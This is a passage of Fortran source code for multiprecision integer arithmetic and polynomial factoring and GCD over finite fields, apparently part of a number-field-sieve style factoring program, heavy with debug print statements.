*,'kbarrs',(kbarr(jf),jf=1,ilen2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 4000 do jf=1,irlen nrem(jf+2)=irrr(jf) end do nrem(2)=irlen print *,'nremfir',(irrr(jf),jf=1,irlen) if (norma(1).eq.0)goto 4002 do jf=1,irlen karr(jf+2)=nrem(jf+2) end do karr(2)=nrem(2) karr(1)=1 kbarr(1)=0 do jf=2,n(2)+2 kbarr(jf)=n(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 nrem(jf)=kcarr(jf) end do goto 4003 4000 print *,'zero warning' stop 4002 nrem(1)=0 4003 print *,'n remainders',(nrem(jf),jf=1,nrem(2)+2) print *,'ires',(ires(jk),jk=1,ires(2)+2) icc=96 ie=1 5000 if (ie.gt.icc)goto 5001 ie=ie*2 go to 5000 5001 ie=ie/2 nn=icc-ie do jf=3,m2(2)+2 karr(jf-2)=m2(jf) kbarr(jf-2)=m2(jf) end do ilen=m2(2) ilen2=m2(2) 5002 if (ie.eq.1)goto 5030 ie=ie/2 call mpmul(ilen,ilen2,ilen3) print *,'p5002',nn,ie do jf=1,ilen3 karr(jf)=kcarr(jf) end do ilen=ilen3 do jf=3,n(2)+2 kbarr(jf-2)=n(jf) end do ilen2=n(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 5012 do jf=1,irlen karr(jf)=irrr(jf) kbarr(jf)=irrr(jf) end do do jf=1,irlen mh2(jf+2)=irrr(jf) end do ilen=irlen ilen2=irlen if (nn.ge.ie)goto 5020 goto 5002 5020 do jf=3,m2(2)+2 kbarr(jf-2)=m2(jf) end do ilen2=m2(2) call mpmul(ilen,ilen2,ilen3) print *,'p5020',nn,ie do jf=1,ilen3 karr(jf)=kcarr(jf) end do ilen=ilen3 do jf=3,n(2)+2 kbarr(jf-2)=n(jf) end do ilen2=n(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 5012 do jf=1,irlen karr(jf)=irrr(jf) kbarr(jf)=irrr(jf) mh2(jf+2)=irrr(jf) end do ilen=irlen ilen2=irlen nn=nn-ie goto 5002 5012 print *,'error in m2' stop 5030 mh2(2)=ilen mh2(1)=mod(m2(1)*nn,2) print *,'firmh2',(mh2(jf),jf=1,mh2(2)+2) nn=icc+idd-2 ie=1 5100 if (ie.gt.nn)goto 5101 ie=ie*2 goto 5100 5101 do jf=3,ia5(2)+2 karr(jf-2)=ia5(jf) kbarr(jf-2)=ia5(jf) end do ie=ie/2 print *,ie nn=nn-ie ilen=ia5(2) ilen2=ia5(2) 5102 if (ie.eq.1)goto 5130 ie=ie/2 print *,'5102',(karr(jf),jf=1,ilen) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen karr(jf)=kcarr(jf) end do ilen2=n(2) print *,'sec5102',(karr(jf),jf=1,ilen) do jf=3,n(2)+2 kbarr(jf-2)=n(jf) end do call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 5112 do jf=1,irlen karr(jf)=irrr(jf) kbarr(jf)=irrr(jf) icdh(jf+2)=irrr(jf) end do ilen=irlen ilen2=irlen if(nn.ge.ie)goto 5120 goto 5102 5120 do jf=3,ia5(2)+2 kbarr(jf-2)=ia5(jf) end do ilen2=ia5(2) print *,'5120',(karr(jf),jf=1,ilen) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 karr(jf)=kcarr(jf) end do ilen=ilen3 ilen2=n(2) do jf=3,n(2)+2 kbarr(jf-2)=n(jf) end do call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 5112 do jf=1,irlen karr(jf)=irrr(jf) kbarr(jf)=irrr(jf) icdh(jf+2)=irrr(jf) end do ilen=irlen ilen2=irlen nn=nn-ie goto 5102 5112 print *,'error in ia5' stop 5130 icdh(2)=ilen icdh(1)=mod(ia5(1)*(icc+3),2) print *,'mh2',(mh2(jf),jf=1,mh2(2)+2) print *,'icdh',(icdh(jf),jf=1,icdh(2)+2) do jf=3,icdh(2)+2 karr(jf-2)=icdh(jf) end do ilen=icdh(2) do jf=3,normar(2)+2 kbarr(jf-2)=normar(jf) end do ilen2=normar(2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 karr(jf)=kcarr(jf) end do ilen=ilen3 do jf=3,ires(2)+2 kbarr(jf-2)=ires(jf) end do ilen2=ires(2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 kans(jf+2)=kcarr(jf) end do kans(2)=ilen3 kans(1)=mod(icdh(1)+normar(1)+ires(1),2) do jf=3,mh2(2)+2 karr(jf-2)=mh2(jf) end do ilen=mh2(2) do jf=3,nrem(2)+2 kbarr(jf-2)=nrem(jf) end do ilen2=nrem(2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(2)=ilen3 kbarr(1)=mod(mh2(1)+nrem(1),2) do jf=1,kans(2)+2 karr(jf)=kans(jf) end do call mpadd(1) do jf=3,kcarr(2)+2 karr(jf-2)=kcarr(jf) end do ilen=kcarr(2) do jf=3,n(2)+2 kbarr(jf-2)=n(jf) end do ilen2=n(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) do jf=1,irlen kara(jf+2)=irrr(jf) end do kara(1)=0 kara(2)=irlen do jf=1,n(2)+2 karb(jf)=n(jf) end do call mpgcd print *,'gcd=',(kard(jf),jf=1,kard(2)+2) stop do i=1,5 print *,'original number' print *,(kbper(i,jk),jk=1,kbper(i,2)+2) end do ipowar(1)=0 ipowar(2)=2 ipowar(3)=2 ipowar(4)=7889 do i=1,idd do j=1,kbper(i,2)+2 kdoub3(i,j)=kbper(i,j) end do end do call modmul(idprod) do i=1,idd print *,'ch2',(kdoub3(i,jk),jk=1,kdoub3(i,2)+2) end do do i=1,idd do j=1,kmpol(i,2)+2 kdoub3(i,j)=kmpol(i,j) end do end do call modmul(idprod) do i=1,idd print *,'modreds',(kdoub3(i,jk),jk=1,kdoub3(i,2)+2) end do goto 1000 999 print *,'no square root exists mod',ipd 1000 end subroutine subbw2(idegd,ipd,idegr) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension indic(20),iq(20,20),iqi(20,20),iv(20,20) dimension irowp(20),irown(20),ic(20) dimension iran(20) nmul =1 ngcd=0 do i = 1,idegd if (ip(i).ge.0)goto 1 ip(i) = ip(i) + ipd 1 end do print *,'ips',(ip(jk),jk=1,idegd) do i =1,20 indic(i) =0 end do nnx=(ipd -1)/2 print *,'nnx',nnx iex =1 2 if (iex.gt.nnx)goto 3 iex = iex *2 goto 2 3 iex = iex/2 print *,'iex',iex nnx = nnx-iex inv(17)=19 inv(18)=9 inv(19)=17 inv(20)=15 inv(21)=11 inv(22)=22 do i=1,20 do j=1,20 iq(i,j) = 0 end do end do do i =1,20 irowp(i) =0 end do irowp(2) =1 irown(1) =0 do k = 2,idegd do j =1,ipd do i =1,idegd irown(i+1) =irowp(i) - ip(idegd+1-i) *irowp(idegd+1) end do do i=1,idegd +1 irowp(i) =irown(i) irowp(i)=mod(irowp(i),ipd) if (irowp(i).ge.0)goto 4 irowp(i)=irowp(i)+ipd 4 end do end do do i=1,idegd iq(k,i) =irowp(i+1) end do end do iq(1,1) =1 do k = 1,idegd print *,iq(k,1),iq(k,2),iq(k,3),iq(k,4),iq(k,5),iq(k,6),iq(k,7),iq(k,8) end do do i=1,idegd do j =1,idegd iqi(i,j)=iq(i,j) end do end do do i=1,idegd iqi(i,i)=iqi(i,i)-1 if(iqi(i,i).ge.0)goto 12 iqi(i,i) =iqi(i,i) +ipd 12 end do ir = 0 do i=1,20 ic(i)=0 end do do k = 1,idegd do j =1,idegd if((iqi(k,j).ne.0).and.(ic(j).eq.0))goto 34 end do goto 40 34 ib=iqi(k,j) call subbw6(ipd,ib,iggs) mul =iggs do i =k,idegd iqi(i,j) =(-1) * iqi(i,j) * mul iqi(i,j)=mod(iqi(i,j),ipd) if(iqi(i,j).ge.0)goto 33 iqi(i,j) =iqi(i,j) +ipd 33 end do do jj=1,idegd if(jj.eq.j)goto 38 mul =iqi(k,jj) do i=k,idegd itt = iqi(i,jj) + iqi(i,j) *mul iqi(i,jj) =mod(itt,ipd) if(iqi(i,jj).ge.0)goto 36 iqi(i,jj)=iqi(i,jj) +ipd 36 end do 38 end do ic(j) =k indic(k) =j goto 50 40 ir =ir +1 do is =1,idegd iv(is,ir) = 0 end do iv(k,ir) =1 do is =1,idegd jv = indic(is) if (jv.eq.0)goto 42 iv(is,ir) =iqi(k,jv) 42 end do 50 end do do i=1,idegd print *,'iqis',iqi(i,1),iqi(i,2),iqi(i,3),iqi(i,4),iqi(i,5),& iqi(i,6),iqi(i,7),iqi(i,8) end do do jr =1,ir print *,'ivs',iv(1,jr),iv(2,jr),iv(3,jr),iv(4,jr),iv(5,jr),& iv(6,jr),iv(7,jr),iv(8,jr) print *,'ir',ir end do 58 if (ngcd.eq.500)goto 300 ie=iex nn=nnx ibarray(1) =1 do i =1,idegd ibarray(i+1) =ip(i) end do do i =1,idegd isarray(i) =0 end do idegb = idegd do k = 1,ir iran(k) = mod((797 *nmul),131072) nmul =iran(k) end do do k=1,ir iran(k) =mod(iran(k),ipd) end do do k =1,ir do i =1,idegd isarray(i)=isarray(i)+iv(idegd +1-i,k) * iran(k) end do end do do i =1,idegd isarray(i) =mod(isarray(i),ipd) if (isarray(i).ge.0)goto 60 isarray(i) =isarray(i) +ipd 60 end do print *,'izar',isarray(1),isarray(2),isarray(3),isarray(4),& isarray(5),isarray(6) idegs =idegb-1 do i =1,idegd if (isarray(i).ne.0)goto 229 idegs = idegs-1 end do 229 do i = 1,idegs+1 mult1(i)=isarray(i) mult5(i)=mult1(i) end do idegm=idegs 230 if(ie.eq.1)goto 250 ie =ie/2 do i=1,idegm +1 mult2(i) =mult1(i) end do idegn = idegm call multy(idegm,idegn,ipd) idegm =idegm +idegn do i = 1,idegm +1 mult1(i) =mult3(i) end do if(nn.ge.ie)goto 240 goto 230 240 nn = nn-ie do i = 1,idegs mult2(i) = mult5(i) end do idegn =idegs call multy(idegm,idegn,ipd) idegm =idegm +idegn do i = 1,idegm +1 mult1(i)=mult3(i) end do goto 230 250 do i =1,idegb+1 isarray(i) =ibarray(i) end do idegs = idegb print *,'idegs',idegs print *,'isarray',isarray(1),isarray(2),isarray(3),isarray(4),& isarray(5),isarray(6),isarray(7) do i=1,idegm+1 ibarray(i) =mult1(i) end do idegb =idegm ibarray(idegb+1) =ibarray(idegb +1) - 1 if(ibarray(idegb+1).ge.0)goto 255 ibarray(idegb +1) =ibarray(idegb+1) +ipd 255 call subgcd(idegs,idegb,idegg,ipd) print *,'idegg',idegg,idegs,idegb,isarray(1),ibarray(1) print *,igarray(1),igarray(2),igarray(3),igarray(4),& igarray(5),igarray(6),igarray(7),igarray(8),igarray(9) ngcd=ngcd+1 if (idegg.eq.idegd/2)goto 300 if((idegg.eq.idegd).or.(idegg.eq.0))goto 58 goto 300 3001 stop call subgcd(6,8,idegg,ipd) print *,igarray(1),igarray(2),igarray(3),igarray(4),igarray(5),& igarray(6),igarray(7),igarray(8),igarray(9) print *,'idegg',idegg 300 idegr =idegg return end subroutine subgcd(idegs,idegb,idegg,ipd) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension iws(10000),iwb(10000),itempb(10000) icon=0 do i= 1,idegs +1 iws(i) = isarray(i) end do do i=1,idegb+1 iwb(i) = ibarray(i) end do iwsd =idegs iwbd =idegb 10 loopl = iwbd-iwsd +1 icon = icon+1 ib=iws(1) call subbw6(ipd,ib,iv) mul = iv do i =1,loopl iqt= iwb(i) * mul iwb(i) =0 do j =2,iwsd +1 iwb(i+j-1)=iwb(i+j-1)-iws(j) * iqt iwb(i+j-1) =mod(iwb(i+j-1),ipd) if(iwb(i+j-1).ge.0)goto 12 iwb(i+j-1)=iwb(i+j-1) +ipd 12 end do end do do i= 1,iwbd +1 if(iwb(i).ne.0)goto 20 end do goto 100 20 itempbd=iwbd+2 -i do jj =1,itempbd itempb(jj) = iwb(i+jj-1) end do do i= 1,iwsd + 1 iwb(i) =iws(i) end do iwbd = iwsd do jj=1,itempbd iws(jj) = itempb(jj) end do iwsd =itempbd-1 print *,iwb(1),iwb(2),iwb(3),iwb(4),iwb(5),iwb(6),iwb(7),iwb(8) if (icon .ne.4)goto 10 goto 10 100 idegg=iwsd do i=1,10 igarray(i)=0 end do do i = 1,iwsd +1 igarray(i) = iws(i) end do return end subroutine multy(idegm,idegn,ipd) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),kbarb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) do i=1,10000 mult3(i) =0 mult4(i)=0 end do do i =1,idegm +1 do j =1,idegn+1 mult3(i+j-1)=mult3(i+j-1) +mult1(i) *mult2(j) mult3(i+j-1) =mod(mult3(i+j-1),ipd) if(mult3(i+j-1).ge.0)goto 10 mult3(i+j-1)= mult3(i+j-1) +ipd 10 end do end do return end subroutine subbw6(ia,ib,iv) ib =mod(ib,ia) print *,ib if(ib.ge.0)goto 10 ib =ia + ib 10 iu =1 print *,'iaib',ia,ib id = ia if(ib.eq.0)goto 888 iv1=0 iv3 =ib 815 if(iv3.eq.0)goto 830 iqq = int(id/iv3) it3 =id -iqq*iv3 it1 =iu -iqq*iv1 iu =iv1 id = iv3 iv1 = it1 iv3 = it3 goto 815 830 iv =(id -ia *iu)/ib if(iu.le.0)goto 870 iv =iv *(1-ia) iv =mod(iv,ia) if(iv.ge.0)goto 870 iv=iv+ia 870 print *,'gcd=',id if (id.gt.1)goto 890 print *,'inverse=',iv goto 890 888 iv =ib 890 return end subroutine subbw4 dimension ibarray(20),isarray(10),irarray(10),inv(25) dimension iqt(10),iwb(10),iws(10) ipd =23 inv(1) =1 ibarray(1) =1 ibarray(2) =3 ibarray(3)=3 ibarray(4)=7 idegb =3 isarray(1) =1 isarray(2) =2 isarray(3) =4 idegs=2 do i =1,idegs+1 iws(i) =isarray(i) end do do i=1,idegb+1 iwb(i) =ibarray(i) end do iwsd = idegs iwbd = idegb loopl = iwbd -iwsd +1 mul = inv(iws(1)) do i =1,loopl iqt(i) =iwb(i) *mul iwb(i) =0 do j =2,iwsd + 1 iwb(i+j-1) =iwb(i+j-1) -iws(j) *iqt(i) iwb(i+j-1) =mod(iwb(i+j-1),ipd) if(iwb(i+j-1).ge.0)goto 12 iwb(i+j-1) =iwb(i+j-1) +ipd 12 end do end do do i =1,iwbd +1 if(iwb(i).ne.0)goto 20 end do goto 100 20 itempbd =iwbd +2 -i do jj =1,itempbd irarray(jj) =iwb(i+jj-1) end do idegr = itempbd -1 goto 110 100 do i=1,10 irarray(1) = 0 end do idegr =0 110 print *,'quos',iqt(1),iqt(2),iqt(3) print *,'rem',irarray(1),irarray(2) return end subroutine subbw3(idd,ipd) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) do i=1,idd print *,'firmatrix',(mat2(i,jf),jf=1,idd),'irhs2',irhs2(i) end do idd2 =idd do i = 1,idd2 irhs1(i) =irhs2(i) end do do i =1,idd2 do j = 1,idd2 mat1(i,j) =mat2(i,j) end do end do do j = 1,idd2 jmark(j) =0 markr(j) =0 jx(j) =0 end do do j =1,idd2 do i =1,idd2 if(mat1(i,j) .eq.0)goto 137 if(markr(i).eq.1)goto 137 jmark(j) =i markr(i) =1 ib=mat1(i,j) call subbw6(ipd,ib,iv) mul = iv do j1 = j,idd2 itt = mat1(i,j1) *mul mat1(i,j1) = mod(itt,ipd) if (mat1(i,j1).ge.0)goto 10 mat1(i,j1)=mat1(i,j1) +ipd 10 print *,'mully',mul,i,j,j1 end do irhs1(i) =irhs1(i) *mul itt =irhs1(i) irhs1(i) = mod(itt,ipd) if(irhs1(i).ge.0)goto 12 irhs1(i) =irhs1(i) +ipd if(i.eq.idd2)goto 150 12 do ik = i+1,idd2 if(markr(ik).eq.1)goto 134 if(mat1(ik,j).eq.0)goto 134 mul = mat1(ik,j) do jj =j,idd2 itt = mat1(ik,jj) -mat1(i,jj) *mul mat1(ik,jj) = mod(itt,ipd) if(mat1(ik,jj).ge.0)goto 132 mat1(ik,jj) =mat1(ik,jj) +ipd print *,'mulijikjj',mul,i,j,ik,jj 132 end do irhs1(ik) =irhs1(ik) - mul * irhs1(i) itt = irhs1(ik) irhs1(ik) = mod(itt,ipd) if(irhs1(ik).ge.0)goto 134 irhs1(ik) = irhs1(ik) + ipd 134 end do goto 150 137 end do jx(j) =1 150 end do do i =1,idd2 print *,'matrix',mat1(i,1),mat1(i,2),mat1(i,3),mat1(i,4),& irhs1(i) print *,'marks',jmark(i),markr(i) end do do i = 1,idd2 print *,jx(i) end do do i =1,idd2 if (jx(i).eq.0)goto 152 print *,'matrix singular' ipd=1 goto 200 152 end do isol(idd2) =irhs1(idd2) do j =1,idd-1 ind =idd2 -j+1 ind2 =ind-1 im=jmark(ind2) isol(ind2)=irhs1(im) do jj =ind,idd2 isol(ind2)=isol(ind2)-isol(jj) *mat1(im,jj) isol(ind2)=mod(isol(ind2),ipd) end do end do do i =1,idd2 itt = isol(i) isol(i) =mod(itt,ipd) if(isol(i).ge.0)goto 160 isol(i) =isol(i) +ipd 160 end do print *,'solutions',isol(1),isol(2),isol(3) 200 return end subroutine bmid2 character*200 istring,ostring character(200)gstring character*1 loc(200) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension idrv5(5),idrv4(5),idrv3(5),idrv2(5),idrv1(5) dimension match(1000),iv(1000) dimension ksm(20,100),ktemp(5,20),ktempl(5) m1(1)=0 m1(2)=1 m1(3)=13 m2(1)=0 m2(2)=1 m2(3)=18 ia5(1)=1 ia5(2)=1 ia5(3)=43 idrv5(1)=1 idrv5(2)=3 idrv5(3)=1 idrv5(4)=7215 idrv5(5)=7435 idrv4(1)=0 idrv4(2)=1 idrv4(3)=32 idrv4(4)=8440 idrv3(1)=0 idrv3(2)=1 idrv3(3) =27 idrv3(4)=2529 idrv2(1)=0 idrv2(2)=1 idrv2(3)=6 idrv2(4)=784 idrv1(1)=0 idrv1(2)=1 idrv1(3)=10 idrv1(4)=282 mm=200 1 format(200i5) 2 format(400i5) do i=1,mm if (iv(i).ne.0)goto 3 end do print *,'file error' stop 3 ktempl(1)=ia5(2) ione =i do ii=3,ia5(2)+2 karr(ii-2)=ia5(ii) ktemp(1,ii-2)=ia5(ii) end do ilen=ia5(2) do j=2,4 ilen2=ia5(2) do ii=1,ilen2 kbarr(ii)=ia5(ii+2) end do call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do ii=1,ilen3 karr(ii)=kcarr(ii) ktemp(j,ii)=kcarr(ii) end do ktempl(j)=ilen3 print *,'ktempl',j,ktempl(j) end do kmpol(1,1)=0 kmpol(1,2)=1 kmpol(1,3)=1 if(ia4(2).eq.0)goto 200 kmpol(2,1)=mod(ia4(1)+1,2) do ii=2,ia4(2)+2 kmpol(2,ii)=ia4(ii) end do goto 202 200 kmpol(2,1)=0 kmpol(2,2)=0 202 if(ia3(2).eq.0)goto 204 ilen=ia3(2) do ii=1,ilen karr(ii)=ia3(ii+2) end do ilen2=ktempl(1) do ii=1,ilen2 kbarr(ii)=ktemp(1,ii) end do call mpmul(ilen,ilen2,ilen3) kmpol(3,2)=ilen3 do ii=1,ilen3 kmpol(3,ii+2)=kcarr(ii) end do kmpol(3,1)=mod(ia3(1)+ia5(1)+1,2) goto 206 204 kmpol(3,1)=0 kmpol(3,2)=0 206 if(ia2(2).eq.0)goto 208 ilen=ia2(2) do ii=1,ilen karr(ii)=ia2(ii+2) end do ilen2=ktempl(2) do ii=1,ilen2 kbarr(ii)=ktemp(2,ii) end do call mpmul(ilen,ilen2,ilen3) kmpol(4,2)=ilen3 do ii=1,ilen3 kmpol(4,ii+2)=kcarr(ii) end do kmpol(4,1)=mod(ia2(1)+ia5(1)*2+1,2) goto 210 208 kmpol(4,1)=0 kmpol(4,2)=0 210 if (ia1(2).eq.0)goto 212 ilen=ia1(2) do ii=1,ilen karr(ii)=ia1(ii+2) end do ilen2=ktempl(3) do ii=1,ilen2 kbarr(ii)=ktemp(3,ii) end do call mpmul(ilen,ilen2,ilen3) kmpol(5,2)=ilen3 do ii=1,ilen3 kmpol(5,ii+2)=kcarr(ii) end do kmpol(5,1)=mod(ia1(1)+ia5(1)*3+1,2) goto 214 212 kmpol(5,1)=0 kmpol(5,2)=0 214 if(ia0(2).eq.0)goto 216 ilen=ia0(2) do ii=1,ilen karr(ii)=ia0(ii+2) end do ilen2=ktempl(4) do ii=1,ilen2 kbarr(ii)=ktemp(4,ii) end do call mpmul(ilen,ilen2,ilen3) kmpol(6,2)=ilen3 do ii=1,ilen3 kmpol(6,ii+2)=kcarr(ii) end do kmpol(6,1)=mod(ia0(1)+ia5(1)*4+1,2) print *,'ione',ione goto 218 216 kmpol(6,1)=0 kmpol(6,2)=0 218 do ii=3,ia5(2)+2 karr(ii-2)=ia5(ii) end do ilen=ia5(2) kia=match(ione*2-1) print *,'kia=',kia iabsa=abs(kia) if (iabsa.lt.10000)goto 10 kbarr(1)=int(iabsa/10000) kbarr(2)=iabsa-kbarr(1)*10000 ilen2=2 goto 12 10 kbarr(1)=iabsa ilen2=1 12 call mpmul(ilen,ilen2,ilen3) do ii=1,ilen3 kdoub1(2,ii+2)=kcarr(ii) end do kdoub1(2,2)=ilen3 isgn=0 if (kia.lt.0)goto 20 goto 22 20 isgn=1 22 kdoub1(2,1)=mod(isgn+ia5(1),2) print *,'firkdb2',(kdoub1(2,jf),jf=1,kdoub1(2,2)+2) kib=match(2*ione) print *,'kib=',kib if (kib.lt.10000)goto 24 kdoub1(1,3)=int(kib/10000) kdoub1(1,4)=kib-kdoub1(1,3)*10000 kdoub1(1,2)=2 goto 26 24 kdoub1(1,3)=kib kdoub1(1,2)=1 26 kdoub1(1,1)=1 idegm=1 print *,'idegm',idegm,kdoub1(1,1),kdoub1(1,2),kdoub1(1,3) icc=1 do i=ione+1,mm if (iv(i).eq.0)goto 43 icc=icc+1 do ii=3,ia5(2)+2 karr(ii-2)=ia5(ii) end do ilen=ia5(2) iabsa=abs(match(i*2-1)) print *,'kia2',match(i*2-1) if (iabsa.lt.10000)goto 30 kbarr(1)=int(iabsa/10000) kbarr(2)=iabsa-kbarr(1)*10000 ilen2=2 goto 32 30 kbarr(1)=iabsa ilen2=1 32 call mpmul(ilen,ilen2,ilen3) kdoub2(2,2)=ilen3 do ii=1,ilen3 kdoub2(2,ii+2)=kcarr(ii) end do isgn=0 if (match(i*2-1).lt.0)goto 34 goto 36 34 isgn=1 36 kdoub2(2,1)=mod(isgn+ia5(1),2) print *,'seckdb2',(kdoub2(2,jf),jf=1,kdoub2(2,2)+2) kib=match(i*2) print *,'kib2=',kib if (kib.lt.10000)goto 40 kdoub2(1,3)=int(kib/10000) kdoub2(1,4)=kib-kdoub2(1,3)*10000 kdoub2(1,2)=2 goto 42 40 kdoub2(1,3)=kib kdoub2(1,2)=1 42 kdoub2(1,1)=1 idegn=1 idegp=5 call doubmul(idegm,idegn,idegp,idprod) idegm=idprod do ii=1,idegm+1 do jj=1,kdoub3(ii,2)+2 kdoub1(ii,jj)=kdoub3(ii,jj) end do end do do kf=1,idegm+1 print *,'k',(kdoub1(kf,jf),jf=1,kdoub1(kf,2)+2) end do 43 end do print *,'icc',icc,'idprod',idprod idegsm=idprod do ii=1,idegm+1 do jj=1,kdoub3(ii,2)+2 ksm(ii,jj)=kdoub3(ii,jj) end do end do ilen=ia5(2) do ii= 1,ilen karr(ii)=ia5(ii+2) end do idegm=4 idegn=4 kdoub1(1,1)=0 kdoub1(1,2)=1 kdoub1(1,3)=5 do ii=1,idrv4(2)+2 kdoub1(2,ii)=idrv4(ii) end do ilen=idrv3(2) do ii=1,ilen karr(ii)=idrv3(ii+2) end do ilen2=ktempl(1) do ii=1,ilen2 kbarr(ii)=ktemp(1,ii) print *,'ktemp',ktemp(1,ii),ilen2 end do call mpmul(ilen,ilen2,ilen3) do ii=1,ilen3 kdoub1(3,ii+2)=kcarr(ii) end do kdoub1(3,2)=ilen3 kdoub1(3,1)=mod(idrv3(1)+ia5(1),2) print *,'kdub3',(kdoub1(3,jf),jf=1,kdoub1(3,2)+2) ilen=idrv2(2) do ii=1,ilen karr(ii)=idrv2(ii+2) end do ilen2=ktempl(2) do ii=1,ilen2 kbarr(ii)=ktemp(2,ii) end do call mpmul(ilen,ilen2,ilen3) do ii=1,ilen3 kdoub1(4,ii+2)=kcarr(ii) end do kdoub1(4,2)=ilen3 kdoub1(4,1)=mod(idrv2(1)+ia5(1)*2,2) ilen=idrv1(2) do ii=1,ilen karr(ii)=idrv1(ii+2) end do ilen2=ktempl(3) do ii=1,ilen2 kbarr(ii)=ktemp(3,ii) end do call mpmul(ilen,ilen2,ilen3) do ii=1,ilen3 kdoub1(5,ii+2)=kcarr(ii) end do kdoub1(5,2)=ilen3 kdoub1(5,1)=mod(idrv1(1) +ia5(1)*3,2) do ii=1,idegm+1 do jj=1,kdoub1(ii,2)+2 kdoub2(ii,jj)=kdoub1(ii,jj) end do print *,'besq',(kdoub2(ii,jf),jf=1,kdoub2(ii,2)+2) end do call doubmul(idegm,idegn,5,idprod) do ii=1,idprod+1 do jj=1,kdoub3(ii,2)+2 kdoub2(ii,jj)=kdoub3(ii,jj) end do print *,'sqdrv',(kdoub2(ii,jf),jf=1,kdoub2(ii,2)+2) end do do ii=1,idegsm+1 do jj=1,ksm(ii,2)+2 kdoub1(ii,jj)=ksm(ii,jj) end do end do idegm=idegsm idegn=idprod call doubmul(idegm,idegn,5,idprod) 500 return end subroutine mpmul(ilen,ilen2,ilen3) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) print *,'lenzy',ilen,ilen2 do i=1,3200 kcarr(i) =0 end do do i =1,ilen do j=1,ilen2 itemp =karr(i) *kbarr(j) itemp2=int(itemp/10000) irem1 =itemp-itemp2 *10000 kcarr(i+j)=kcarr(i+j) +irem1 kcarr(i+j-1)=kcarr(i+j-1) +itemp2 if (kcarr(i+j).lt.10000)goto 20 kcarr(i+j)=kcarr(i+j)-10000 kcarr(i+j-1) =kcarr(i+j-1)+1 20 do k =1,i+j-2 if (kcarr(i+j-k).lt.10000)goto 22 kcarr(i+j-k)=kcarr(i+j-k) -10000 kcarr(i+j-k-1)=kcarr(i+j-k-1)+1 end do 22 end do end do ilen3 =ilen +ilen2 if(kcarr(1).ne.0)goto 100 ilen3 =ilen3-1 do i=1,ilen3 kcarr(i)=kcarr(i+1) end do 100 return end subroutine 